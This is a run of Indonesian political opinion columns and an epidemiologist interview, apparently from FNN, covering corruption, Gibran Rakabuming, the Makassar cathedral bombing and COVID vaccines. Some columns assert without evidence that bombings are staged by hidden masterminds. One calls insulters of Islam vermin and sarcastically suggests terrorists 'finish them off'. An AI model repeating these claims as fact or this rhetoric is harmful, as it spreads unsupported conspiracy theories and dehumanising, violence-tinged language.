Sasaran korupsi adalah dana-dana bantuan sosial (bansos). Pejabat keasyikan sukses berburu di kebun bintang. Dilakukan di tengah duka nestapa jutaan kelompok orang miskin baru. Korban Pemutusan Hubungan Kerja (PHK) masif akibat ambruknya ratusan perusahaan tersapu wabah pandemi. Laporan penelitian Universitas Oxford berjudul, “The Global Disinformation Order : 2019 Global Inventory of Organised Social Media Manipulation” yang terbit akhir September 2019 membantu menjelaskan fenomena kelahiran buzzer dan influenzer. Penelitian yang ditangani Samantha Bradshaw dan Philip N. Howard menyebutkan Indonesia menjadi satu dari 70 negara yang menggunakan buzzer alias pendengung untuk sejumlah kepentingan sepanjang 2019. Tugas utama buzzer dan influenzer menggerus ketahanan demokrasi yang sudah lunglai terdegradasi oleh kooptasi kekuasaan yang balik haluan ke jalur otoriter. Menurut penelitian Universitas Oxford itu, tercatat, sejumlah pihak di Indonesia pengguna buzzer adalah politisi, partai politik, dan kalangan swasta. Kebanyakan buzzer beraksi untuk tujuan menyebarkan propaganda pro-pemerintah atau pro partai, menyerang oposisi, hingga membentuk polarisasi. Buzzer di Indonesia kebanyakan buzzer bayaran pada kisaran antara Rp. 1-50 saja. Para buzzer biasanya menggunakan Twitter, WhatsApp, Instagram, dan Facebook dalam melakukan aksinya. Modus yang sering mereka lakukan dengan menciptakan disinformasi dan memanipulasi informasi. Sama diketahui, serangan wabah pandemi Covid 19 sejak awal Maret tahun lalu, yang memukul sektor kesehatan dan ekonomi bahkan demokrasi, telah mendorong pemerintah memanfaatkan legitimasi konstitusi untuk mengambil langkah darurat. Pengendalian pandemi dikemas menjadi mobilisasi mitigasi. Pandemi menjadi dasar penglegitimasian diskresi negara. Presiden lalu mengeluarkan Perppu (Peraturan Pemerintah Pengganti Undang-Undang). Merujuk filsuf Yunani Cicero yang menegaskan “salus populi supreme lex esto”, yang bermakna “keselamatan rakyat adalah hukum tertinggi”. Sejalan semangat yang tertulis dalam alinea ke-4 pembukaan UUD 1945. Pandemi menjadi tirani baru dengan unsur baru, yaitu buzzer dan influenzer. Keduanya melengkapi potensi destruktif pandemi Covid 19 terdahulu. Mendorong demokrasi terkunci mati. Partai politik sebagai instrumen utama demokrasi tidak bicara apa-apa. Sebagai representasi suara rakyat, partai politik sama sekali tidak bunyi. Di tengah prahara penderitaan demokrasi, elite politik ramai-ramai mengunci mulut. Membutakan mata dan menutup telinga dari gemuruh longsornya marwah bangunan demokrasi. Tirani pandemi merusak tiga sistem peradaban masyarakat modern yang sudah mapan. Hancurnya secara bersamaan, yaitu sistem kesehatan, sistem ekonomi dan sistem demokrasi. Masuk akal jika, Repucci dan Slipowitz menyebutnya sebagai “Democracy Under Lock down”. Teman wartawan senior yang setia mengirim pesan WhatsApp, kembali mengingatkan kisah sejarah tragedi tentang Kaisar Nero. Dia menceritakan, “ketika kota Roma terbakar di landa kobaran api, Nero, sang kaisar malah memilih memetik gitar di sudut Istana”. Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Sindroma Anak Raja & Pasangan Jokowi-Prabowo 2024

by M. Rizal Fadillah Bandung FNN - Viral video dan foto kunjungan Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR) Basuki Hadimoeljono ke Solo. Ketika Menteri dan anggota rombongan lain mengambil posisi duduk di kursi. Sementara terlihat Gibran Rakabuming sang Walikota malah duduk di meja. Komentar di jagad media sosial atas video dan foto ini adalah "kurang adab". Memang terkesan Gibran Rakabuming ini adalah pejabat karbitan. Jabatan Walikota yang memang belum pantas untuk diemban Gibran. Akibatnya, pola penghormatan jabatan dan protokol diabaikan. Gibran lebih merasa anak Presiden yang tak harus hormat-menghormati. Mungkin merasa dirinyalah yang seharusnya dihormati. Ini yang namanya sindroma anak raja. Latar belakang sebagai pengusaha katering dan martabak tidak menjadi persoalan. Toh ayahnya Joko Widodo dulu juga pengusaha mebel. Masalahnya adalah miskin akan pengalaman politik, bahkan Gibran pernah menyatakan tidak akan terjun ke kancah politik. Namun di usia 33 tahun, tiba-tiba Gibran meniru jejak ayahnya maju dalam Pilkada Solo. Menjadi Walikota dengan proses instan melalui Fraksi Partai Dekorasi Indonesia Perjuangan (PDIP) dan didukung oleh mayoritas partai politik. Dengan lawan tanding yang hanya asal-asalan, sehingga nyaris melawan "bumbung kosong". Tidak bisa dipungkiri kalau orang melihat kemenangan dan suksesnya Gibran ditentukan oleh faktor orangtua Presiden Joko Widodo. Faktor ini yang membuat mayoritas partai politik ikut-ikutan mendukung Gibran. Oligarkhi politik istana dinilai sangat mempengaruhi. Gibran pun berhasil untuk tidak tersentuh dari keterkaitan korupsi yang menyeret mantan Menteri Sosial (Mensos) Juliari Peter Batubara. Misalnya, soal goodie bag yang menjadi jatah anak Pak Lurah yang diramaikan. Goodie bag sebanyak sepuluh juta unit dengan harga Rp 15.000 per unit berhasil dikerjakan oleh PT Sritex melalui Penunjukan Langsung (PL). Padahal nilai proyek goodie bag tersebut adalah Rp 150 miliar. Sementara syarat dilakukan PL hanya untuk proyek dengan nilai Rp 200 juta ke bawah. Namun rupanya ketentuan ini hanya berlaku untuk orang lain. Tidak untuk anak Pak Lurah. Oligarkhi istana terus bergerak memastikan cengkramannya atas kekuasaan negara. Gibran digadang-gadang untuk menjabat Gubernur DKI pada Pilkada serentak 2024 nanti. Bahkan ada juga yang sampai mewacanakan dan memainkannya Gibran untuk ikut Pilpres 2024. Politik dinasti yang dibangun untuk menjadi warna budaya politik Indonesia kontemporer. Selagi kekuasaan masih berada dalam genggaman, semua bisa dilakukan. Toh semua bisa saja diatur-atur sesuai dengan selera kalau mau. Girban yang semula tidak ingin terjun ke politik, akhirnya mau juga menjadi Walikota Soloh. Wajar saja kalau ada keinginan untuk menjadi Gubernur DKI Jakarta. Setelah itu ikut menjadi Calon Presiden (Capres) mengikuti jejak sang ayahanda. Pasangan Capres-Cawapres Presiden Joko Widodo yang berakhir masa jabatan pada Oktober 2024 memang sudah menyatakan hanya mau menjabat selama dua priode. Namun bukan berarti peluang menjabat lagi untuk tiga priode sudah hilang. Peluang tersebut masih tetap saja terbuka lebar. Apalagi amandemen UUD 45, khususnya pasal tentang pambatasan masa jabatan presiden hanya dua periode itu sedang diupayan untuk dijebol. Rencana untuk menjabat tiga lagi untuk periode ketiga sedang dikerjakan dengan sangat serius. Namun pekerjaan ini dilakukan dengan sangat senyap atau sembunyi-sembunyi. Masih malu-malu, dan khawatir kalau diketahui publik. Reaksi publik bisa sangat keras. Yang tampak ke permukaan adalah amandemen UUD 45 terkait dengan dimasukannya pasal tengang Garis-garis Besar Haluan Negara (GHBN). Yang nanti bakal diselundupkan adalah merubah pasal tentang masa jabatan presiden, yang tadinya hanya dua periode, menjadi tiga periode atau lebih. Karena pasal inilah yang sebenarnya menjadi tujuan utama dilakukan amandeman UUD 45. Bukan hanya soal masuknya pasal tentang GBHN. Bisik-bisik di kalangan intelijen gadungan, besar kemungkinan yang menjadi Capres untuk priode ketiga nanti adalah Joko Widodo, yang berpasangan dengan Calon Wakil Presiden (Cawapres) Prabowo Subianto. Begitulah kalau kekuasaan lagi mendesak atau menagih agar tetap dalam genggaman. Dengan duduk di atas meja, ini adalah pencitraan bahwa Gibran lebih tinggi dari siapapun, termasuk Menteri Basuki Hadimoeljono dan stafnya. Maklum saja ini anak raja. Menteri adalah bawahan "ayahku". Karenanya tidak masalah bahwa Walikota tidak menghormati Menteri. Apakah ini pencitraan? Mungkin juga iya. Karena persis sang ayah. Pola dan cara untuk mendapat dukungan politik dilakukan melalui pencitraan yang sebenarnya adalah kepalsuan semata. Banyak yang tidak sesuai antara omongan dengan perbuatan sebagai Kepla Negara dan Kepala Pemerintahan. Yang paling terakhir adalah “tiga tahun terakhir tidak pernah mengimpor beras”. Nyatanya omongan ini dibatah oleh data-data yang ada Badan Pusat Statistik, Kemnterian Perdagangan dan Kementerian Pertanian. Soal Giran duduk di atas meja ini telah dibantah oleh Sardono W. Kusumo. Konon itu bukan meja, tetapi kursi yang bertingkat dari panggung teater. Namun tetap saja orang bertanya-tanya, mengapa di depan itu ada "kursi lebar" yang lebih rendah? Mengapa kursi lebar itu tidak diduduki oleh Gibran? Selayaknya jika tujuannya untuk berdiskusi, maka Gibran akan duduk di samping menteri atau didepan di kursi panjang yang dapat langsung berhadapan dengan Menteri PUPR, Basuki Hadimoeljono. Sindroma anak raja memang penuh dengan kontroversi, disamping proteksi dan tentu saja buzzerisasi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Ketika Islam Dihina, Dimana Teroris Ngumpet Ya?

by M. Rizal Fadillah Bandung FNN - Bom panci semakin populer dan menjadi pilihan favourite tukang panci, eh maksudanya tukang bom-boman. Kalau sudah ada bom panci, umat atau kelompok Islam selalu saja menjadi tertuduh untuk kasus serupa berkali-kali. Sebelum diumumkan, ketika peristiwa terjadi, sudah diduga arah akan tertuju pada kelompok "teroris Islam". Seperti barang peliharaan yang telah diatur kapan munculnya. Supya mudah diarahkan tuduhannya ke kelompok Islam, maka tempat meledaknya bom panci juga diduga dipilih yang memiliki hubungan. Sehingga Gereja Katedral Makassar yang jadi sasaran peledakan. Artinya, yang kemungkinan sarat dengan nuansa-nuansa keagamaan. Tak ada hujan, tak juga ada angin yang dikaitkan dengan konflik Islam-Kristen. Namun ujug-ujug Gereja yang menjadi sasaran. Apa salah dan masalah pada Gereja Katedral? Dipastikan tidak ada. Umat Islam juga tidak ada yang punya kebencian pada Gereja beserta para jamaatnya ini. Situasi normal-normal saja. Maka pembawa bom itu yang justru dalam keadaan yang tidak normal. Haedar Nashir, Ketua Umum Pimpinan Pusat (PP) Muhammadiyah menilai meledaknya bom panci di Gereja Katedral Makasar ini bukan soal agama. Tetapi rekayasa dan adu domba. Bukan hanya haedar Nashir, namun banyak kalangan menilai serupa. Sebab tidak percaya pada spirit terorisme berbasis agama. Jika adapun, maka itu artifisial atau buatan. Ini yang perlu dicari siapa pembuatnya. Dari dahulu tidak pernah ketemu si dalang. Mungkin saja si dalang sedang berada di tempat terang. Mungkin di depan hidungnya yang belang-belang. Aneh aparat keamanan kita tak mampu menemukan dalangnya? Selalu saja wayang-wayang, yang itupun nyawanya pada melayang. Dapat dipastikan jejak dan operatornya sudah menghilang. Masuk lubang yang berdinding uang. Klasik cerita bom panci ini...duaar dengan obyek Gereja. Cepat sekali polisi mengidentifikasi pelakunya, yang beridentitas Islam. Terlihat seperti kerja polisi yang sangat huebat dan luar biasa. Namun betapa bodoh dan dungu si pelaku yang menunjukkan siapa dirinya. Pakai surat wasiat jihad segala. Teroris sejati semestinya melakukan penyamaran, karena berorientasi pada hasil. Teroris sejati kemungkinan mengincar korban itu jemaat gereja. Bukan satpam atau pejalan kaki. Dungu jika teroruis harus bersorban, berpeci, atau berjilbab. Yang dipastikan cerdas adalah koordinator atau pembujuk atau pemegang remote control. Juga pihak ketiga yang mempunyai sumber daya, baik tenaga maupun dana. Ahli strategi yang mahir memotivasi, menggaransi, dan pastinya membohongi. Kalau lagi ruwet dan moumet..duaaar. Ruwet kasus Habib Rizieq Shihab (HRS) yang terus ribut. Ruwet karena pembunuhan enam anggota laskar Front Pembela Islam (FPI) yang bergaung dan bersambung. Ruwet akibat pandemi yang menggerus uang hingga harus hutang dikorupsi. Ruwet karena skandal korupsi yang terus-terusan disorot oposisi. Ruwet karena memikirkan kemungkinan kerasnya perlawanan rakyat menolak keinginan dan ambisi besar menjabat selama tiga periode kekuasaan. Kemungkinan berpasangan dengan mantan rival yang sekarang menjadi anak buah. Ingin tiga periode untuk melanggengkan kekuasaan, menggemukkan kroni, dan melindungi dinasti. Ruwet dan riubet. Umat Islam selalu mengerutkan dahi. Benarkah teroris berjuang untuk Islam? Lantas ketika Islam dihina-hina, Islam dinistakan, Islam dimain-mainkan dengan keji oleh para tikus, ular, kelabang, kodok, dan kutu busuk, dimana saja para teroris itu sembunyi dan ngmpet ya? Padahal ketika itu seharusnya teroris yang ngakunya pejuang Islam itu hadir berbuat untuk Islam dong. Jika perlu para teroris keluar untuk menghabisi para tikus, ular, kelabang, kodok dan kutu busuk yang menghina dan menistakan Islam tersebut. Sayangnya itu tak terjadi. Tidak ada teroris yang muncul saat ini. Ah, memang dasar teroris gadungan, teroris kaleng-kelang, teroris odong-odong, dan teroris beleng-beleng. Hanya mau menjadi teroris kalau diperintah oleh pemegang remote control. Disadari betul bahwa memang teroris tersebut bukan berjuang untuk Islam. Justru sebaliknya kelakuan mereka teroris-terorisan itu menghancurkan Islam dan mengadu domba umat Islam. Teroris itu tak lain adalah species yang satu komunitas dengan tikus, ular, kelabang, kodok, dan kutu busuk itu sendiri. Mereka adalah bagian dari penjahat umat, bangsa, dan negara. Kini kasus bom-boman datang lagi. Aparat diharapkan profesional menangani pelakukan. Segera saja tangkap dan adili dalang. Bukan hanya wayang atau tukang gendang. Jangan cepat-cepat ditembak atau dibom. Mereka yang dianggap terlibat, tangkap hidup-hidup dan seret ke ruang pengadilan agar semua bisa mengikuti bahwa benar jaringan itu ada. Sang dalang juga segera dapat diketahui keberadaannya. Apakah di luar negeri, di hutan, di perbatasan, atau di markas sendiri? Selamat bekerja bapak-bapak aparat. Rakyat pasti sangat mendukung kerja keras, kerja tuntas, dan kerja jelas aparat. Namun bukannya kerja bias dan bermain-main dalam kebijakan yang tidak waras. Penulis adalah Pemerhati Politik dan Kebangsaan.

Epidemiolog Dicky Budiman: “Virus Dormant Itu Teknologi Kuno! (1)”

by Mochamad Toha Surabaya, FNN - Vaksin AstraZeneca sempat menjadi bahasan publik usai Majelis Ulama Indonesia (MUI) mengeluarkan fatwa yang menyebut vaksin buatan perusahaan farmasi asal Inggris itu haram karena mengandung enzim tripsin dari babi. Meski begitu, MUI tetap memberikan lampu hijau penggunaan AstraZeneca untuk program vaksinasi, mengingat stok vaksin di Indonesia terbatas. BPOM pun pada Jumat (19/3/2021) lalu telah merestui penggunaan AsrtaZeneca untuk vaksinasi di tanah air. Restu BPOM itu menyusul vaksin AstraZeneca yang sempat ditangguhkan sementara, usai ditemukannya dugaan kasus pembekuan darah yang terjadi di beberapa negara Eropa akibat vaksinasi dengan vaksin kerjasama Oxford itu. Virus Covid-19 kini telah menginfeksi hampir 123,9 juta penduduk di bumi. Dan, setidaknya, sekarang inii dunia telah memvaksinasi lebih dari 447 juta suntikan (kira-kira setara dengan 2 kali jumlah mereka yang terinfeksi), dengan masing-masing 2 kali suntikan. Virus Covid-19 telah menginfeksi 1,46 juta penduduk Indonesia. Setidaknya, Indonesia telah memvaksinasi lebih dari 7,8 juta suntikan atau kira-kira setara dengan 5,3 kali jumlah mereka yang terinfeksi, dengan masing-masing 1 kali suntikan. Dalam catatan Arie Karimah, Pharma-Excellent alumni ITB, angka ini baru 2,1% dari target penduduk yang akan divaksinasi sebanyak 181,6 juta orang, masing-masing 2 kali suntikan. Untuk mengetahui apa yang sebenarnya terjadi, berikut ini petikan wawancara Mocahamad Toha dari FNN.co.id dengan dr. Dicky Budiman, MSc, PhD (Can) Global Health Security CEPP Griffith University, Australia yang juga seorang Epidemiolog. Terkait program vaksinasi (Sinovac dan AstraZeneca) yang sudah jalan di Indonesia. Sinovac dinyatakan halal oleh MUI, AstraZeneca haram. Komentar Anda? Menurut saya ada perbedaan antara Sinovac dan AstraZeneca dalam segi kemasan. Sinovac dikemas jauh lebih cermat, lebih hati-hati oleh pemerintah, terutama dari 3 segi, yaitu halal, keamanan, dan efikasi. Walaupun kita selalu ingatkan, diumumkan hampir sebelum keluar hasil dari fase ke-3 ini. Tapi, relatif lebih (dalam konteks Indonesia, faktor halal ini) sangat penting. Tapi berbeda dengan AstraZeneca. Ini timbul satu komunikasi yang kurang, untuk konteks Indonesia. Maksudnya? Karena, ternyata (dalam hal) ini belum ada sinergi yang kuat antara BPOM, Kemenkes, dan MUI. Ternyata MUI mengeluarkan fatwa haramnya. Dan, ini juga semakin menjadi bahasan publik karena di Australia, di Eropa, dan di negara lain dinyatakan halal sehingga digunakan. Padahal kan sama-sama Muslim. Sehingga ini jadi pro-kontra, jadi perbedaan. Dan tentu ini akan tidak kondusif untuk strategi vaksinasi. Karena bagaimanapun sebagian masyarakat kita akan melihat apa yang disampaikan pertama oleh pemerintah (dalam hal ini MUI). Bahwa ini memberi kandungan yang diharamkan. Dan, ini sudah melekat, sehingga ini sulit untuk diluruskan. Nah, ini yang harus diperbaiki mekanisme formnya sebagaimana Sinovac, kalau aman dan efektif. Ada beberapa kasus di Indonesia, seperti kematian pasca vaksinasi yang juga menimpa dokter dan nakes lainnya. Terakhir, yang dialami seorang guru honorer di Garut yang lumpuh. Apa yang sebenarnya terjadi? Ini yang harus direspon dengan penguatan KIPI (Kejadian Ikutan Paska Iminusasi). Dan KIPI ini tentu harus dilaporkan dan disampaikan secara reguler pada publik juga. Termasuk kita ini sudah melakukan 2 vaksinasi dengan Sinovac ini beberapa waktu, bulan. Nah, ini tentu ada perkembangan, ada data yang bisa disampaikan kepada publik. Apapun data itu untuk melihat. Melihat apa? Karena ini untuk melihat efektivitas pada dunia nyata ini akan bisa terlihat, sehingga data ini juga memeperlihatkan bahwa pemerintah melakukan pemantauan ini, termasuk bukan hanya KIPI-nya tetapi juga efektivitas vaksin ini di lapangan. Dan kasus-kasus seperti itu sebagaimana yang terjadi di Indonesia maupun luar negeri, sama saja, harus diverifikasi, harus dijelaskan apakah ini berkaitan dengan vaksinasinya atau tidak. Dan ini harus tentu dengan penjelasan yang ilmiah, mengklirkan, membantu menjelaskan sebenarnya apa yang terjadi dengan kasus-kasus tersebut. Fakta, kematian pasca vaksinasi AstraZeneca di beberapa negara Eropa karena terjadi pembekuan darah. Komentar Anda? Kasus kematian yang diduga dikaitkan dengan Astrazeneca di Eropa ini sudah terbukti tidak terkait. Dan memang ini dari awal saya sudah sampaikan bahwa harus sangat komprehensif ketika melihat peristiwa yang terjadi, dan diduga dikaitkan dengan vaksin. Karena, pertama harus dilihat data pada uji vaksin tersebut, ada tidak efek samping dimaksud. Bila tidak ada, sangat amat kecil kemungkinan terjadi itu. Ada, tetapi amat sangat kecil. Dan, untuk AstraZeneca di fase-3 atau hanpir semua faksin Covid-19 ini tidak ada ditemukan efek samping dalam bentuk kejadian trombosis. Kedua, untuk memperkuat fakta ini apakah ada kaitan atau tidak juga harus melihat apa yang disebut dengan background rate. Backround rate ini jadi dilihat bagaimana angka kejadian penyakit atau kasus tersebut sebelum program vaksinasi Covid-19. Bisa dijelaskan maksudnya? Misalnya, trombosis ini sebelum vaksinasi secara global itu sudah sangat dimaklumi di dunia kedokteran bahwa ini sangat sering terjadi. Satu diantara 1000 orang itu mengalami kasus ini, trombosis. Kemudian satu dari 4 kematian di dunia, itu dikaitkan dengan trombosis. Ini yang dimaksud dengan background rate itu. Sehingga saat misalnya terjadi kasus seperti ini pada orang yang sudah divaksinasi, pertama selain juga dilihat bahwa itu tidak ada kaitannya dengan fase ketiga dan kedua, background rate, dan tentu juga dilihat kasus per kasus. Dan semakin jelas juga, bahwa kasus ini banyak terjadi pada wanita yang usia di bawah 55 tahun, sesuatu yang tidak lazim juga kalau dikaitkan dengan hal trombosis semu. Menjadi paradoks tersebut adalah ditemukannya penurunan trombosit di saat terjadinya ini, pembekuan darah, sesuatu yang agak kontradiktif. Karena trombosit menurun itu berkaitan dengan pendarahan seperti pada penyakit Demam Berdarah. Tapi dalam kasus ini terjadi penggumpalan darah, dan ini tentu harus dicari tahu dulu diduga apakah ada kaitannya dengan genetik atau reaksi imun, dan lain sebagainya. Ini yang harus digali dulu. Yang jelas pada vaksin itu sangat kecil kemungkinan. Dan Indonesia harusnya juga punya sikap yang sama. Kehati-hatian iya, namun tentu tidak bisa kita gampang mengikuti dengan apa yang dilakukan negara lain, lantas kita serta merta ikut melakukan, karena dalam situasi seperti ini kita harus berpedoman pada sains. Dan, saya kira sekarang harus segera Indonesia melakukan pemberian vaksinasi ini, termasuk AstraZeneca. Namun hal-hal lain terkait dengan AstraZeneca ini adalah dari segi komunikasi resikonya yang tidak sebaik Sinovac. Terutama sinergi yang belum memadai antara BPOM, Kemenkes, dan MUI tadi. Sehingga, masalah fatwa haram ini menjadi keluar tidak di awal. Sehingga ini tentu akan berpengaruh. Tentu ini yang harus diperbaiki untuk vaksinasi selanjutnya. (Bersambung) Penulis adalah Wartawan Senior FNN.co.id.

Epidemiolog Dicky Budiman: “Virus Dormant Itu Teknologi Kuno! (2)”

by Mochamad Toha Surabaya, FNN - Di Hongkong terjadi kasus Bell’s palsy (paralisa wajah) yang bisa dipicu oleh infeksi ulang oleh virus yang dormant (tidur) kemudian aktif kembali. Komentar Anda? Kembali melihat semacam KIPI ini seperti yang saya sampaikan. Jadi, lihat background rate dari kasus Bell's palsy ini. Kalau bicara Bell's palsy ini belum ada penyebab pastinya. Nah, kaitan antara Bell's palsy ini dengan vaksin insidensi atau tingkat insidensi dari Bell's palsy ini antara penerima vaksin Covid-19 kurang lebih sama dengan insidensi pada populasi ini. Artinya, tidak bisa selalu dikaitkan. Karena tidak cukup kuat. Ini sama saja antara penerima vaksin dengan tidak. Jadi, bahwa vaksin ini dikaitkan dengan Bell's palsy tidak kuat. Tidak kuat alibi maupun argumentasi ilmiahnya. Dan, kalau bicara dormant atau virus yang dianggap mati kemudian hidup kembali, ini kalau dalam kaitan vaksin, itu tidak terjadi. Tidak pernah terjadi. Yang terjadi sebaliknya. Pada tahun 1960-an itu yang disebut dengan culture tragedy, itu vaksin folio yang memang dilemahkan, tapi ketika itu teknologi vaksin itu masih kuno. Masih belum memiliki standar keamanan seperti sekarang ini, sehingga vaksin-vaksin yang diberikan pada saat itu di Amerika Serikat, ternyata masih ada virus folio yang masih hidup sehingga malah menyebabkan penyakit kelumpuhan, dan bahkan, kematian. Apa yang kemudian dilakukan saat itu? Nah, sejak saat itu riset vaksin ini luar biasa. Bukan hanya sifatnya standar aman, tapi juga ekstraordinari keamanannya. Kebetulan saya pernah ada di Sekretariat Organisasi Kerjasama Islam di Jeddah dan juga yang berbasis di Ankara di Komite Kesehatannya selama beberapa tahun, sehingga terkait vaksinasi folio dan lain sebagainya, saya juga terlibat. Dan, saya salah satu yang membuat perencanaannya di negara Islam. Saat itu pun sudah kita sampaikan bahwa isu vaksin yang dilemahkan itu tidak tepat. Yang terjadi, yang disebut dengan dormant itu adalah ketika seseorang sudah terinfeksi, katakan misalnya Ebola, sekalipun setelah 4-5 tahun pun ternyata si virus ini bisa hidup lagi. Si virus ini ternyata ada yang sembunyi, dormant. Itu yang terjadi. Bagaimana dengan vaksin Covid-19? Saya gak tahu untuk yang Covid-19 ini, apakah ada yang sama ketika seseorang ada yang terinfeksi sebagaimana cacar. Nah, ini yang perlu penelitian lagi. Tapi kalau dari vaksin ini terus ada yang dormant, dari standar yang ada saat ini, sangat amat kecil. Bahwa ada orang yang terpapar setelah divaksin itu bukan dari vaksinnya. Jadi, pemahaman virus dormant atau yang dianggap mati kemudian hidup lagi itu bukan dalam vaksinnya. Tapi itu lebih misalnya orang yang disebut terinfeksi itu ada yang terinfeksi ulang atau seperti kasus Ebola itu aktif lagi, sekali lagi, kasus dalam vaksin apapun pada dekade tahun 2000-an ke sini tidak memiliki peluang seperti itu lagi karena teknologi vaksin yang sudah jauh sangat baik dibanding di era tahun 1960-an, sehingga apa yang menyebabkan orang itu terinfeksi setelah divaksin itu karena sudah tidak melakukan upaya 5T sebelum, selama, dan bahkan sesudah divaksin. Karena vaksinasi, apapun jenis vaksinnya, itu akan membutuhkan waktu setidaknya saat pertama itu 12 hari, setelah suntikan dia mulai ada respons imunitas, antibodinya mulai dibangun, itu belum optimal. Apalagi kalau Sinovac itu kan perlu 2 kali suntikan. Masih harus menunggu, sampai suntikan ke-2 baru dua mingguan. Ini yang menyebabkan kenapa terjadinya orang yang terinfeksi. Saran Anda? Jadi, ini yang saya kira harus diluruskan. Bahwa, virus dormant itu tidak tepat diterapkan teorinya pada vaksinasi dengan menggunakan virus yang dilemahkan atau dimatikan untuk saat ini. Teori itu bisa berlaku dulu saat teknologinya belum semaju seperti sekarang ini. Itu kan teknologi era 1960-an hingga 1970-an itu masih bisa, Tapi saat ini teknologi itu tak tepat, sebagaimana kalau kita bicara dalam bidang kedokteran. Saya sebagai dokter, kalau jaman dulu orang dioperasi itu banyak yang meninggal, karena penanganan atau manajemen infeksinya saat itu masih buruk. Antibiotiknya dan lain sebagainya itu belum ada. Sekarang orang dioperasi ya bisa, demam pun tidak. Karena teknologinya sudah sangat maju. Nah ini yang terjadi juga dalam perbaikan kualitas riset vaksin. Terakhir komentar saya, sangat penting bagi Indonesia dalam hal ini pemerintah (Kemenkes), memang betul, penelitian vaksin ini belum selesai. Kan nanti akan dilihat nanti pada relawan, Apakah betul respon imunitas atau antibodi yang terbentuk itu bertahan satu tahun atau tidak, jadi diperpanjang ini. Juga ini dilihat efektivitas nyatanya di dunia nyata seperti apa, termasuk juga masalah KIPI ini yang harus terus dipantau dan dilaporkan, ini penting sekali untuk menjelaskan secara ilmiah, sekali lagi, apa yang terjadi pada kasus-kasus, termasuk yang seperti tadi. Ini terinfeksi, padahal sudah divaksin. Jadi, harus dikronologiskan dengan detail seperti apa. Karena hal ini penting sekali. Bukan hanya menjelaskan oh ini bukan, tapi juga memberikan penjelasan ilmiah, termasuk ini pelajaran penting untuk program vaksinasi ke depan. (Selesai) Penulis adalah Wartawan Senior FNN.co.id.

Sepertinya, Rakyat Sudah Abai “Bom-Boman”!

by Mochamad Toha Surabaya, FNN - Empat sekawan seperti Denny Siregar @Dennysi, Ade Armando @adearma, Ferdinan Hutahaean @Fer, dan Eko Kuntadhi @eko_kuntadhi, langsung bersuara lantang terkait Bom Gereja Katedral Makassar yang meledak hari ini, Minggu (28/3/2021). @Dennysi mengatakan, “Kadrun kelakuannya ada2aja.. pengen maki rasanya.” @adearma menulis, “Sebuah ledakan terjadi di depan Gereja Katedral Makassar. Bom meledak sebelum pelaku masuk ke gereja. Masih tidak percaya ada Islam radikal?” @Fer menyebutkan, “Terorist terus bertumbuh karena majikan2nya terus memprovokasi.” @eko_kuntadhi mengatakan, “Gerombolan pengasong agama mulai memetik panen dari pikiran ringsek yang dijajakan.” Mereka sudah menggonggong, men-framing ledakan bom di Katedral Makassar. Padahal Kepolisian belum ada pernyataan resmi tentang pelakunya. Meski mereka tidak menyebut secara gamblang ke mana arahnya, rakyat yang kritis pasti sudah tahu! Kalau ulama atau kiai yang menjadi korbannya, dapat dipastikan, mereka ini akan silent, diam seribu bahasa! Tumben, Abu Janda tidak ada suaranya? Semoga saja dia sudah bisa sadar, sehingga tidak akan berulah lagi. Kapolda Sulsel Irjen Polisi Merdisyam sudah menyebutkan, selain pelaku bom bunuh diri di Gereja Katedral Jalan Kajolalido Makassar, sebanyak 9 orang menjadi korban dalam ledakan tersebut dan kini dirawat di beberapa rumah sakit. Namun, Kabid Humas Polda Sulsel Kombes Pol E Zulpan mengatakan, korban luka akibat bom bunuh diri di Gereja Katedral Makassar bertambah menjadi 14 orang. Mereka sekarang ini sedang dirawat di rumah sakit, berasal dari korban luka, ledakan bom di TKP. “Ada sebagian jemaat,” katanya. Menurutnya, pelaku diperkirakan 2 orang. Ada satu orang coba menerobos dan dihalangi pihak keamanan, sehingga tidak sampai masuk ke dalam. Jadi, “Korban dari jemaat di luar saja yang terkena ledakan dan tidak ada meninggal.” Sementara, kata Walikota Makassar Ramdhan ‘Danny’ Pomanto yang menerima laporan terkait ledakan di depan Gereja Katedral Makassar menyebut, tidak ada jemaat gereja yang menjadi korban. “Saya telepon tadi Romo, tidak ada korban di dalam gereja, ini laporan sementara dari Romo. Romo sampaikan dari dalam gereja ini tidak ada korban di dalam gereja,” kata Danny, dilansir Detik.com, Minggu (28/3/2021).\ Danny belum memastikan terkait apakah jemaat sedang melakukan kegiatan ibadah di dalam gereja saat ledakan terjadi. “Saya tidak tanya (romo) tadi, saya cuma tanya korban jiwa tadi,” ujar Danny. Jadi, berapa jumlah pelaku dan korban masih belum pasti! Yang menarik terkait ledakan bom Gereja Katedral Makassar ini adalah mengapa peristiwa itu terjadi justru ketika masyarakat sedang fokus mengikuti persidangan Habib Riziq Shihab alias HRS yang sedang berlangsung di PN Jakarta Selatan? Adakah peristiwa itu hanya untuk mengalihkan perhatian rakyat dari proses persidangan HRS ini? Apalagi, setelah sidang eksepsi HRS, Menko Polhukam Mahfud MD jadi bulan-bulanan di medsos terkait perannya dalam kejadian kerumunan Bandara Soekarno-Hatta. Sebelum kedatangan HRS dari Arab Saudi pada 10 November 2020, Mahfud memberi lampu hijau bagi masyarakat yang ingin menjemputnya. Dan, lautan massa yang jumlahnya jutaan pun “mengawal” HRS hingga kediaman HRS di Petamburan. Tak hanya itu. Hari-hari ini pernyataan polisi soal 1 pelaku penembakan 6 anggota FPI yang mengawal HRS yang tewas kecelakaan, menuai kecaman dan bully-an yang bertubi-tubi dari mana-mana. Ternyata polisi penembak Laskar FPI tersebut sudah meninggal pada 4 Januari 2021 dini hari, dan baru ramai belakangan ini setelah diumumkan pada 25 Maret 2021. Polri memastikan, Elwira Priyadi Zendrato, meninggal karena kecelakaan pada 3 Januari 2021. Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Polisi Rusdi Hartono mengatakan, satu dari tiga anggota Polda Metro Jaya yang berstatus terlapor kasus ‘unlawful killing’ meninggal karena kecelakaan tunggal. Sementara, 3 anggota PMJ yang berstatus terlapor tersebut pada Rabu 10 Maret 2021 telah dibebastugaskan. Menariknya lagi, ternyata nama Elwira Priyadi Zendrato berpangkat Bripka tak pernah tercatat sebagai terlapor kasus penembakan 6 Laskar PFI ini. Elwira Priadi Zendrato adalah Banit 8 Unit 5 Subdit 3 Ditreskrimum Polda Metro Jaya. Beda sekali dengan 3 nama yang terdapat pada laporan 7 Desember 2020. Laporan terkait 